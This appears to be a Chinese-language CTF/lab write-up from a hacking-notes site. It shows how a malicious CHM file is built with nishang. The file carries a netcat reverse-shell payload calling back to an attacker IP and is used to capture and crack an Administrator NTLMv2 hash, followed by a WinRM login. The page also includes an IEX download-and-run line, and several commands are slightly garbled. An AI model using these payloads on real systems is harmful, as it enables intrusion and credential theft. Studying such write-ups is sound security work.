> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md).

# 文件上传并捕获 NTLMv2 .chm

**对目录“docs”的探索：**/ 在 **Windows** 根目录中，我们发现了一个 **docs** 文件夹，其中包含一个文件 `note.txt` ，其内容如下：

<figure><img src="/files/12ba0d923cad401629e27461ac862d8f5398873c" alt=""><figcaption></figcaption></figure>

> 嗨 Chris，
>
> 你的 PHP 技能真的很差。联系 Yamitenshi，让他们教你如何使用它，然后修复这个网站，因为有很多漏洞。我也希望你已经为我们的新应用程序准备好了文档。完成后把它放在这里。
>
> 此致，/ Sniper CEO。 **系统中的文档搜索：**/ 我们搜索了 CEO 提到的文档，并在目录中找到了它 **Downloads** 位于文件 **instructions.chm**.

<figure><img src="/files/0a87112537e113782bd217138b7220df168b9211" alt="" width="563"><figcaption></figcaption></figure>

### **恶意 CHM 文件创建：**

在发现 CEO 想要查看文件后 **CHM** 在目录中 **docs**，我们在网上研究了如何创建恶意 CHM 文件。

{% embed url="<https://github.com/samratashok/nishang/blob/master/Clinkt/Out-CHM.ps1>" %}

**HTML Help 工具下载：**/ 我们下载了 **HTML Help** 并使用一个 PowerShell 脚本来创建一个恶意 CHM 文件

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClinkt).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Clinkt/Out-CHM.ps1')

```

然后，我们修改了脚本，通过以下方式在远程执行一个恶意命令： **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"

```

<figure><img src="/files/1057cabe8e55ebca491399655496e1291c0e2846" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cf8d9188029b27f242bf1ed5a304377fa0720d2d" alt="" width="563"><figcaption></figcaption></figure>

**将恶意 CHM 文件注入目标目录：**/ 我们在攻击机上配置了一个 SMB 服务器，将恶意文件传输到目标 Windows 机器：

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234

```

**从受害机器连接到 SMB 共享：**/ 在目标 Windows 机器上，我们挂载了 SMB 共享并复制了恶意文件 `doc.chm`:

```powershell
nand use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm

```

**启动反向 shell 监听器：**/ 我们在攻击机上启动了一个监听器，等待登录反向 shell：

```bash
rlwrap nc -nlvp 443

```

<figure><img src="/files/42b0afe0b6658910f04ebb5c20813df9975f2a5e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2bc9ea426cf8ac101eae32777b1a68a6f03df99f" alt="" width="563"><figcaption></figcaption></figure>

**遇到的问题：**/ 尽管 CHM 文件已打开，我们并未收到反向 shell。不过，我们成功捕获了一个 **SMB Relay V2** 在我们的服务器上。这为用户提供了一个哈希认证 `Administrator`

<figure><img src="/files/1e3abdcc0366298f1ab4fd9c25835a0282dda4f6" alt=""><figcaption></figcaption></figure>

#### **破解管理员的哈希：**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`Administrator:butterfly!#1`

<figure><img src="/files/81d7ed11883d9ac981d0b797c2d5aa87297a4fd5" alt=""><figcaption></figcaption></figure>

#### **以管理员身份连接：**

使用获得的凭据，我们已使用 **Evil-WinRM** 以管理员身份连接到该机器：

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'

```

<figure><img src="/files/de5ba9ab74f933db7b4bd9445c9a7e8718cd3752" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
